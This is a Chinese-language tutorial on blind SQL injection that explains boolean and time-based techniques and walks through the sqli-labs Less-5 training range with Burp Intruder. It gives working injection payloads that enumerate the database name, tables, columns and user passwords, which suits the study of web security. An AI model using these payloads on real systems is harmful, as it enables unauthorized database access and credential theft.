什么是盲注?
有时目标存在注入,但在页面上没有如何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注。
盲注种类:
盲注函数解析
length()函数:返回字符串的长度
?id=1 and length(database()) > 1
substr()函数:截取字符串,从第一位截取一个
?id=1 and substr(database(),1,1) = 'a'
substr(1,2,3)
第一个参数代表是我们截取的字符串
第二个参数代表截取的位数
第三个参数代表的是截取个数
limit 0,1
0代表第一位
1代表个数
时间型盲注
sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3)判断语句 如果第一个语句正确就执行,第二个语句错误就执行第三个语句
?id=1' and if(length(database())=8,10,sleep(5)) --+
ascii()、ord():返回字段的ascll码值
**靶场sqli-labs - Less 5
由length()函数判断可知,库名位数为8
?id=1' and length(database())=8 --+
发送GET请求抓取数据包并发送到 intruder 模块
http://192.168.174.128:8081/Less-5/?id=1' and ascii(mid(database(),1,1)) = 97 --+
‘1’ 代表的是截取的位数,'97’代表 ASCII 码表 总数为127,攻击类型设置:ClusterBomb
payload set 设置为 ‘1’ ,payload type 设置为数值(number),payload选项设置 from 1 to 8. 间隔为1
payload set 设置为 ‘1’ ,payload type 设置为数值(number),payload选项设置 from 1 to 126. 间隔为1,因为ASCII码数量总数为127
发现存在8位数,ASCII码分别对应:‘115’ ‘101’ ‘99’ ‘117’ ‘114’ ‘105’ ‘116’ ‘121’ 解码分析分别对应:‘s’ ‘e’ ‘c’ ‘u’ ‘r’ ‘i’ ‘t’ ‘y’ ,所以得到了库名为:“securtiy”
由length()函数判断可知,表名位数为6
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
发送GET请求抓取数据包并发送到 intruder 模块
?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=1 --+
发现存在6位数,ASCII码分别对应:‘101’ ‘109’ ‘97’ ‘105’ ‘108’ ‘115’ 解码分析分别对应:‘e’ ‘m’ ‘a’ ‘i’ ‘l’ ‘s’ ,所以得到了表名为:“emails”
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=x --+
?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=x --+
?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=x --+
?id=1' and ascii(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=x --+
?id=1' and length((select password from users limit 0,1))>1 --+
?id=1' and ascii(mid((select password from users limit 0,1),1,1))=68 --+